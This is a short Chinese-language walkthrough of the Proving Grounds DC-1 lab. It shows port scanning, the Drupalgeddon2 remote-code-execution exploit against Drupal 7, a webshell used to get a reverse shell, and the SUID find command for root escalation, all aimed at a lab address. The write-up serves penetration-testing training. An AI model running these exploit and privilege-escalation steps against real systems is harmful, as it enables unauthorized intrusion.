Proving Grounds Play : DC-1 Walkthrough

 Proving Grounds Play : DC-1 Walkthrough


Foothold :

  • 知名 CMS Drupal
  • searchsploit 直接利用 44449.rb 成功獲取 shell (但有限制)
  • 後續利用 webshell.php 獲取另一個 Reverse Shell

PE :

  • SUID 發現 find,參考 GTFO 成功提權


第一步 Rustscan,└─$ rustscan -a 192.168.235.193 --scripts none --ulimit 5000 | tee rustscan



snmp check



nmap,└─$ sudo nmap -sCV -A -p 22,80,111,42760 192.168.235.193 | tee nmap                 



whatweb,CMS Drupal 7



80 /

知名 CMS Drupal



Default 帳號密碼 admin:admin 測試登入失敗



searchsploit Durpal



找符合版本的以及不需要驗證加上 RCE 優先,選定

Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb

直接跑跑看,顯示缺少 highline


安裝 highline,└─$ sudo gem install highline

再跑一次給了 Usage : ruby drupalggedon2.rb <target> [--authentication] [--verbose]



加上 target 再跑一次,└─$ ruby 44449.rb http://192.168.235.193

直接拿到 shell 了


常用的三種 Reverse Shell 建立方式都失敗



改用 nc 試試看,但無法給予 x 權限



由於無法給予 x 權限所以即便上傳 payload 也不能執行

現有的 shell 有所限制所以要改一下思考模式

檢查現有的 pwd 看來是 web 的根目錄



改上傳 webshell.php




一樣用 rm 建立 Reverse Shell,這一次拿到互動性較好的 shell 了



local.txt



SUID check

看到熟悉的 find




GTFO 範例



照著執行 /usr/bin/find . -exec /bin/sh -p \; -quit 結果狂噴說 -p 參數是不合法的



回看 GTFO 告知 -p 參數是可以忽略的



改執行 /usr/bin/find . -exec /bin/sh \; -quit

成功提權拿取 flag




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)